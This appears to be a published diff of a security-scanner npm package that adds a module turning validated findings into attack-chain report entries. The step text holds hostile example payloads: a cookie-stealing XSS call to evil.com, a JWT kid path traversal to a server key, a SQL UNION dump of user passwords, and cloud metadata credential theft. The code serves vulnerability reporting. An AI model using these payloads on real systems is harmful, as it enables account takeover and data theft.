redgun-security 2.1.0 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scan.js +4 -0
- package/src/core/chains.js +206 -0
package/package.json
CHANGED
package/scan.js
CHANGED
|
@@ -8,6 +8,7 @@ import { scanSamlRemote, scanLdapRemote, scanMfaBypass, scanWebsocketReplay, sca
|
|
|
8
8
|
import { scanSsrfBypassChains, scanJwtRemoteAdvanced, scanGrpc, scanOpenApi, scanWebrtc, scanStoredDomXss, scanSsiRemote, scanXpathRemote, scanTimingRemote } from './src/remote/complete.js';
|
|
9
9
|
import { scanLlmRemote, scanCssInjectionRemote, scanPostMessageRemote, scanEsiRemote, scanHttp3, scanHpackBomb, scanSmtpRemote, scanDkimReplay } from './src/remote/modern.js';
|
|
10
10
|
import { validateFindings } from './src/core/validator.js';
|
|
11
|
+
import { buildAttackChains } from './src/core/chains.js';
|
|
11
12
|
import { runBrowserEngine } from './src/remote/browser.js';
|
|
12
13
|
|
|
13
14
|
export async function runRemoteScan(url, spinner, modules = null) {
|
|
@@ -91,6 +92,9 @@ export async function runRemoteScan(url, spinner, modules = null) {
|
|
|
91
92
|
|
|
92
93
|
spinner.text = '[Validation] Verifying findings...';
|
|
93
94
|
await validateFindings(origin, spinner);
|
|
95
|
+
|
|
96
|
+
spinner.text = '[Chains] Building attack chains...';
|
|
97
|
+
await buildAttackChains(origin, spinner);
|
|
94
98
|
}
|
|
95
99
|
|
|
96
100
|
async function scanHeaders(origin, spinner) {
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
import { getFindings, addFinding } from './findings.js';
|
|
2
|
+
import { fetchText } from '../utils/fetch.js';
|
|
3
|
+
|
|
4
|
+
export async function buildAttackChains(origin, spinner) {
|
|
5
|
+
const findings = getFindings();
|
|
6
|
+
const confirmed = findings.filter(f => f.validated && f.exploitability === 'confirmed');
|
|
7
|
+
const inconclusive = findings.filter(f => f.validated && f.exploitability === 'inconclusive');
|
|
8
|
+
|
|
9
|
+
const allRelevant = [...confirmed, ...inconclusive];
|
|
10
|
+
const chains = [];
|
|
11
|
+
|
|
12
|
+
spinner.text = '[Chains] Building attack chains...';
|
|
13
|
+
|
|
14
|
+
const hasXss = allRelevant.filter(f => f.title.toLowerCase().includes('xss') && f.module.includes('Browser'));
|
|
15
|
+
const hasSqli = allRelevant.filter(f => f.title.toLowerCase().includes('sql'));
|
|
16
|
+
const hasOpenRedirect = allRelevant.filter(f => f.title.toLowerCase().includes('open redirect') || f.title.toLowerCase().includes('redirect'));
|
|
17
|
+
const hasSsrf = allRelevant.filter(f => f.title.toLowerCase().includes('ssrf'));
|
|
18
|
+
const hasJwt = allRelevant.filter(f => f.title.toLowerCase().includes('jwt'));
|
|
19
|
+
const hasCors = allRelevant.filter(f => f.title.toLowerCase().includes('cors'));
|
|
20
|
+
const hasCsrf = allRelevant.filter(f => f.title.toLowerCase().includes('csrf') || f.title.toLowerCase().includes('state-mut'));
|
|
21
|
+
const hasIdor = allRelevant.filter(f => f.title.toLowerCase().includes('idor') || f.title.toLowerCase().includes('access control'));
|
|
22
|
+
const hasNosql = allRelevant.filter(f => f.title.toLowerCase().includes('nosql'));
|
|
23
|
+
const hasLfi = allRelevant.filter(f => f.title.toLowerCase().includes('lfi') || f.title.toLowerCase().includes('path traversal'));
|
|
24
|
+
const hasOauth = allRelevant.filter(f => f.title.toLowerCase().includes('oauth'));
|
|
25
|
+
const hasSubdomain = allRelevant.filter(f => f.title.toLowerCase().includes('subdomain') || f.title.toLowerCase().includes('takeover'));
|
|
26
|
+
const hasAuthBypass = allRelevant.filter(f => f.title.toLowerCase().includes('auth bypass') || f.title.toLowerCase().includes('authentication'));
|
|
27
|
+
const hasCookie = allRelevant.filter(f => f.title.toLowerCase().includes('cookie'));
|
|
28
|
+
const hasExposed = allRelevant.filter(f => f.module === 'Exposed Files');
|
|
29
|
+
|
|
30
|
+
if (hasOpenRedirect.length > 0 && hasOauth.length > 0) {
|
|
31
|
+
chains.push({
|
|
32
|
+
name: 'Open Redirect → OAuth Token Theft → ATO',
|
|
33
|
+
primitives: [hasOpenRedirect[0].title, hasOauth[0].title],
|
|
34
|
+
steps: [
|
|
35
|
+
`1. Open redirect via ${extractParam(hasOpenRedirect[0].title)} parameter`,
|
|
36
|
+
'2. Craft OAuth authorization URL with redirect_uri pointing to open redirect',
|
|
37
|
+
'3. Victim clicks link → redirected to attacker domain with OAuth code/token',
|
|
38
|
+
'4. Attacker exchanges code for access token → full account takeover',
|
|
39
|
+
],
|
|
40
|
+
impact: 'CRITICAL',
|
|
41
|
+
confidence: hasOpenRedirect.some(f => f.confidence >= 80) && hasOauth.some(f => f.confidence >= 70) ? 85 : 55,
|
|
42
|
+
});
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
if (hasXss.length > 0 && hasCookie.length > 0) {
|
|
46
|
+
chains.push({
|
|
47
|
+
name: 'XSS → Cookie Theft → Session Hijacking → ATO',
|
|
48
|
+
primitives: [hasXss[0].title, hasCookie[0].title],
|
|
49
|
+
steps: [
|
|
50
|
+
'1. Inject XSS payload to steal cookies: fetch("//evil.com/?c="+document.cookie)',
|
|
51
|
+
`2. Cookie missing HttpOnly flag — accessible via JavaScript`,
|
|
52
|
+
'3. Attacker receives victim session cookie via XSS callback',
|
|
53
|
+
'4. Set stolen cookie in browser → authenticated as victim → full ATO',
|
|
54
|
+
],
|
|
55
|
+
impact: 'CRITICAL',
|
|
56
|
+
confidence: hasXss.some(f => f.confidence >= 80) && hasCookie.some(f => f.confidence >= 60) ? 90 : 60,
|
|
57
|
+
});
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
if (hasSsrf.length > 0 && hasExposed.length > 0) {
|
|
61
|
+
chains.push({
|
|
62
|
+
name: 'SSRF → Cloud Metadata → Credential Leak',
|
|
63
|
+
primitives: [hasSsrf[0].title, hasExposed[0]?.title || 'Exposed internal endpoint'],
|
|
64
|
+
steps: [
|
|
65
|
+
'1. Exploit SSRF to access internal cloud metadata (169.254.169.254)',
|
|
66
|
+
'2. Extract IAM credentials from metadata response',
|
|
67
|
+
'3. Use leaked credentials for AWS CLI access',
|
|
68
|
+
'4. Enumerate S3 buckets, Lambda functions, RDS databases',
|
|
69
|
+
],
|
|
70
|
+
impact: 'CRITICAL',
|
|
71
|
+
confidence: hasSsrf.some(f => f.confidence >= 80) ? 80 : 50,
|
|
72
|
+
});
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
if (hasJwt.length > 0 && hasLfi.length > 0) {
|
|
76
|
+
chains.push({
|
|
77
|
+
name: 'JWT kid Injection → Path Traversal → Key Read → Token Forge',
|
|
78
|
+
primitives: [hasJwt[0].title, hasLfi[0].title],
|
|
79
|
+
steps: [
|
|
80
|
+
'1. JWT uses kid (Key ID) from user input — inject path traversal',
|
|
81
|
+
"2. Set kid to '../../../../etc/ssl/private/server.key'",
|
|
82
|
+
'3. Server reads private key and signs attacker-forged JWT',
|
|
83
|
+
'4. Forge admin JWT → full privileged access',
|
|
84
|
+
],
|
|
85
|
+
impact: 'CRITICAL',
|
|
86
|
+
confidence: hasJwt.some(f => f.confidence >= 70) ? 75 : 45,
|
|
87
|
+
});
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
if (hasSqli.length > 0 && hasAuthBypass.length > 0) {
|
|
91
|
+
chains.push({
|
|
92
|
+
name: 'SQL Injection → Data Dump → Password Hashes → Credential Stuffing',
|
|
93
|
+
primitives: [hasSqli[0].title, hasAuthBypass[0].title],
|
|
94
|
+
steps: [
|
|
95
|
+
'1. Exploit SQLi to extract user table: UNION SELECT email,password FROM users',
|
|
96
|
+
'2. Crack extracted password hashes (hashcat/john)',
|
|
97
|
+
'3. Use credentials for credential stuffing on other services',
|
|
98
|
+
'4. If MFA bypass found, directly access accounts with cracked passwords',
|
|
99
|
+
],
|
|
100
|
+
impact: 'CRITICAL',
|
|
101
|
+
confidence: hasSqli.some(f => f.confidence >= 80) ? 85 : 55,
|
|
102
|
+
});
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
if (hasNosql.length > 0 && hasIdor.length > 0) {
|
|
106
|
+
chains.push({
|
|
107
|
+
name: 'NoSQL Injection → Auth Bypass → IDOR → Mass Data Extraction',
|
|
108
|
+
primitives: [hasNosql[0].title, hasIdor[0].title],
|
|
109
|
+
steps: [
|
|
110
|
+
'1. Bypass auth via NoSQL injection ($ne operator)',
|
|
111
|
+
'2. Gain authenticated session without valid credentials',
|
|
112
|
+
'3. Exploit IDOR by iterating object IDs (user/1, user/2, user/3...)',
|
|
113
|
+
'4. Extract all user data, PII, financial info',
|
|
114
|
+
],
|
|
115
|
+
impact: 'CRITICAL',
|
|
116
|
+
confidence: hasNosql.some(f => f.confidence >= 80) ? 85 : 55,
|
|
117
|
+
});
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
if (hasCors.length > 0 && hasCsrf.length > 0) {
|
|
121
|
+
chains.push({
|
|
122
|
+
name: 'CORS Misconfig → CSRF → Privilege Escalation',
|
|
123
|
+
primitives: [hasCors[0].title, hasCsrf[0].title],
|
|
124
|
+
steps: [
|
|
125
|
+
'1. CORS reflects arbitrary origin with credentials',
|
|
126
|
+
'2. Host malicious page on attacker domain',
|
|
127
|
+
'3. CSRF attack from attacker domain: POST /api/admin/create-user',
|
|
128
|
+
'4. Victim browser sends authenticated cross-origin request with cookies',
|
|
129
|
+
],
|
|
130
|
+
impact: 'HIGH',
|
|
131
|
+
confidence: hasCors.some(f => f.confidence >= 80) && hasCsrf.some(f => f.confidence >= 60) ? 80 : 55,
|
|
132
|
+
});
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
if (hasSubdomain.length > 0 && hasCookie.length > 0) {
|
|
136
|
+
chains.push({
|
|
137
|
+
name: 'Subdomain Takeover → Cookie Scope Abuse → Session Fixation',
|
|
138
|
+
primitives: [hasSubdomain[0].title, hasCookie[0].title],
|
|
139
|
+
steps: [
|
|
140
|
+
'1. Take over dangling subdomain (CNAME pointing to unregistered cloud resource)',
|
|
141
|
+
'2. Deploy malicious page on the taken-over subdomain',
|
|
142
|
+
'3. Set cookies scoped to parent domain via Set-Cookie header',
|
|
143
|
+
"4. Fixate victim's session → intercept authenticated requests",
|
|
144
|
+
],
|
|
145
|
+
impact: 'HIGH',
|
|
146
|
+
confidence: 65,
|
|
147
|
+
});
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
if (hasAuthBypass.length > 0 && hasIdor.length > 0) {
|
|
151
|
+
chains.push({
|
|
152
|
+
name: 'Auth Bypass → IDOR → Privilege Escalation',
|
|
153
|
+
primitives: [hasAuthBypass[0].title, hasIdor[0].title],
|
|
154
|
+
steps: [
|
|
155
|
+
'1. Bypass authentication via found auth vulnerability',
|
|
156
|
+
'2. Access restricted endpoints',
|
|
157
|
+
'3. Exploit IDOR to access other users/tenants data',
|
|
158
|
+
'4. Read/modify admin-level resources → full compromise',
|
|
159
|
+
],
|
|
160
|
+
impact: 'CRITICAL',
|
|
161
|
+
confidence: hasAuthBypass.some(f => f.confidence >= 70) ? 80 : 55,
|
|
162
|
+
});
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
if (openRedirectXssTester(allRelevant)) {
|
|
166
|
+
chains.push({
|
|
167
|
+
name: 'Open Redirect → XSS (via javascript: URI) → Credential Phishing',
|
|
168
|
+
primitives: ['Open Redirect', 'DOM/Browser interaction surface'],
|
|
169
|
+
steps: [
|
|
170
|
+
'1. Open redirect allows javascript: URIs',
|
|
171
|
+
'2. Craft: javascript:alert(document.cookie) as redirect target',
|
|
172
|
+
'3. Victim clicks link → XSS executes in application context',
|
|
173
|
+
'4. Steal credentials, CSRF tokens, or inject fake login form',
|
|
174
|
+
],
|
|
175
|
+
impact: 'HIGH',
|
|
176
|
+
confidence: 60,
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
if (chains.length > 0) {
|
|
181
|
+
reportChains(chains);
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
async function reportChains(chains) {
|
|
186
|
+
for (const chain of chains) {
|
|
187
|
+
addFinding(
|
|
188
|
+
chain.impact,
|
|
189
|
+
'Attack Chain',
|
|
190
|
+
chain.name,
|
|
191
|
+
`Primitives: ${chain.primitives.join(' + ')}\n\nChain:\n${chain.steps.join('\n')}\n\nConfidence: ${chain.confidence}%`,
|
|
192
|
+
`Execute chain steps manually to confirm full impact. Submit as chained vulnerability for higher bounty payout.`
|
|
193
|
+
);
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
function extractParam(title) {
|
|
198
|
+
const m = title.match(/via\s+\?(\w+)=/);
|
|
199
|
+
return m ? m[1] : 'unknown';
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
function openRedirectXssTester(findings) {
|
|
203
|
+
const redirectTitles = findings.filter(f => f.title.toLowerCase().includes('open redirect')).map(f => f.title);
|
|
204
|
+
const xssTitles = findings.filter(f => f.title.toLowerCase().includes('xss')).map(f => f.title);
|
|
205
|
+
return redirectTitles.length > 0 && xssTitles.length > 0;
|
|
206
|
+
}
|